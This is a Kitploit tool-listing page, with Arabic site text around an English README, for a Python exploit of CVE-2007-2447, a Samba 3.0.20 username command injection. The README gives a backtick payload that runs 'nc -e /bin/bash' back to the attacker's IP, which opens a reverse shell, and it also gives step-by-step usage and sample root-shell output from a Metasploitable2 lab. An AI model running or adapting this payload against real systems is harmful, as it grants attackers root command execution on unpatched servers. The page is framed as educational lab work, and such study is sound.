Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2007-2447 — Samba 3.0.20 username map script command injection exploit — reverse shell via SMB authentication, built from scratch in Python using impacket. No Metasploit. | Kitploit
أدوات/GitHubGitHub/rushikesh-a-bhujbal/cve-2007-2447
Payload GenerationExploitationReverse EngineeringWeb Application ExploitationNetwork SecurityPenetration TestingLearning & Education
GitHubrushikesh-a-bhujbal/cve-2007-2447

CVE-2007-2447

Samba 3.0.20 username map script command injection exploit — reverse shell via SMB authentication, built from scratch in Python using impacket. No Metasploit.

عرض المستودع
25 سبتمبر 2026لم تتم المراجعة بعد
مشاركة
المحتوى غير متوفر باللغة المطلوبة. عرض النسخة الإنجليزية.

CVE-2007-2447 — Samba 3.0.20 Username Map Script Command Injection

Python Library Platform Target License


Overview

Samba is open-source software that implements the SMB protocol, allowing file and printer sharing between computers on a network — Windows to Linux, Linux to Linux, across mixed environments. It's the standard way Unix/Linux systems participate in Windows-based networks.

CVE-2007-2447 is a command injection vulnerability in Samba versions 3.0.0 through 3.0.25rc3. Unlike CVE-2011-2523 and CVE-2010-2075 (which were supply chain attacks — intentional backdoors), this is a developer mistake: user-supplied input (the username) was passed directly to a shell command without sanitization, allowing an attacker to inject and execute arbitrary system commands.


How the Vulnerability Works

Samba has a feature called username map script — a configuration option that runs a shell script to map incoming usernames to local system usernames. Internally, Samba executes it like this:

/bin/sh -c "map_script.sh <username>"

The developer trusted that usernames would only contain normal characters. They didn't sanitize shell metacharacters like backticks.

In Linux shell, backticks mean "execute this as a command first":

/bin/sh -c "map_script.sh `/=`nohup nc -e /bin/bash KALI_IP 4444`"

The shell executes the backtick content before map_script.sh even runs — giving the attacker direct command execution as whatever user Samba is running as (root on Metasploitable2).


Vulnerability Class Comparison

CVE-2011-2523CVE-2010-2075CVE-2007-2447
TypeSupply chain (intentional backdoor)Supply chain (intentional backdoor)Developer mistake (command injection)
ProtocolFTPIRCSMB
Trigger:) in usernameAB; prefixbackticks in username
Shell typeBind shellReverse shellReverse shell

What This Script Does

  1. Opens a listener on Kali port 4444 — waiting for the reverse shell
  2. Connects to the target on port 445 using impacket's SMB client
  3. Sends a login attempt with a malicious username containing the payload: /=`nohup nc -e /bin/bash KALI_IP 4444`
  4. Samba passes the username to /bin/sh -c — shell executes the backticks
  5. nohup nc on the target connects back to Kali port 4444 with a bash shell
  6. listener.accept() receives the incoming shell connection
  7. Interactive root shell loop begins

Payload Explained

/=`nohup nc -e /bin/bash 192.168.15.129 4444`
  • /= → satisfies Samba's username format requirement
  • ` ` → shell backticks — execute everything inside as a command
  • nohup → keeps the process alive even after Samba closes the connection
  • nc → netcat — raw networking tool
  • -e /bin/bash → attach bash to the connection — gives whoever connects a shell
  • 192.168.15.129 4444 → your Kali IP and listening port

Requirements

  • Python 3.x
  • impacket library
  • netcat on the target (present by default on Metasploitable2)
  • Target: Metasploitable2 running Samba 3.0.20

Install impacket:

pip install impacket

Usage

git clone https://github.com/rushikesh-a-bhujbal/CVE-2007-2447.git
cd CVE-2007-2447
pip install impacket

Edit main.py:

kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"

Run:

python3 main.py

Example output:

[*] Listening on port 4444...
[+] Payload sent. Waiting for shell...
[+] Shell received from ('192.168.15.132', 37665)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/
> exit

Error Handling

ScenarioBehaviour
SMB connection refusedException raised, script exits
Login fails (expected)Caught silently — payload already fired
Shell never connects backlistener.accept() blocks indefinitely
Command produces no outputrecv() times out silently, returns to prompt

Tested Against

  • Metasploitable2 (intentionally vulnerable VM)
  • Samba 3.0.20
  • Linux metasploitable 2.6.24-16-server

Legal Disclaimer

This exploit is developed strictly for educational purposes and authorized security research only.

Built and tested exclusively against a local Metasploitable2 virtual machine in a fully isolated lab environment.

Do not use this against any system you do not own or have explicit written permission to test. Unauthorized use is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide.

The author accepts no responsibility for misuse of this code.


References

  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2007-2447
  • NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2007-2447
  • ExploitDB: https://www.exploit-db.com/exploits/16320
  • Metasploitable2: https://sourceforge.net/projects/metasploitable/

Author

Rushikesh Bhujbal
Security Research & Exploit Development
GitHub

تنزيل الأداة

أدوات ذات صلة

  • metasploit-framework

    إطار عمل استغلال مفتوح المصدر مع نظام معياري للحمولات والمشفرات والمساعدات لاختبار الاختراق، والتحقق من الثغرات الأمنية، والبحث الأمني عبر الشبكات والتطبيقات.

  • donut

    يُولّد شيلكود مستقل عن الموقع (position-independent shellcode) من نوع x86 أو x64 أو AMD64+x86 يُحمّل تجميعات .NET وملفات PE وغيرها من تحميلات Windows من الذاكرة ويُشغّلها مع وسائط.

  • sRDI

    تنفيذ شيلكود لحقن DLL الانعكاسي. تحويل DLLs إلى شيلكود مستقل عن الموقع.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

  • 1

    Callisto

    jetp1ane/callisto

    أداة تحليل ثغرات ثنائية آلية تقوم بفك ترجمة الملفات التنفيذية عبر Ghidra، ومسح كود شبه-C باستخدام Semgrep، والتحقق من النتائج باستخدام GPT-3.5-Turbo لتقليل الإيجابيات الكاذبة.

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # تطبيق GhostLock للتنفيذ بنقرة واحدة (CVE-2026-43499)

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    منصة IMSI Catcher تنشر خلية GSM مارقة لاعتراض الرسائل النصية القصيرة وحقن الرسائل وتتبع الأجهزة المحمولة

    721
  • 4

    opencti

    opencti-platform/opencti

    منصة مفتوحة لاستخبارات التهديدات السيبرانية

    535
  • 5

    ARTEX

    baarai/artex

    منصة اختبار اختراق مستقلة متعددة الوكلاء تعتمد على LLM، مع وكلاء تخطيط وتنفيذ، ومخططات للأصول والاستكشاف، وتسجيل حركة مرور MITM، وإعادة اختبار الثغرات.

    424
  • 6

    DFRoot

    a2333c/dfroot

    أداة root لنظام Android لهاتف Samsung Galaxy S25 Ultra (SM-S938B) تقوم بتسلسل DirtyFrag CVE-2026-43284 وCVE-2026-43499 للحصول على صلاحيات root تلقائيًا عند الإقلاع عبر KernelSU.

    419

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →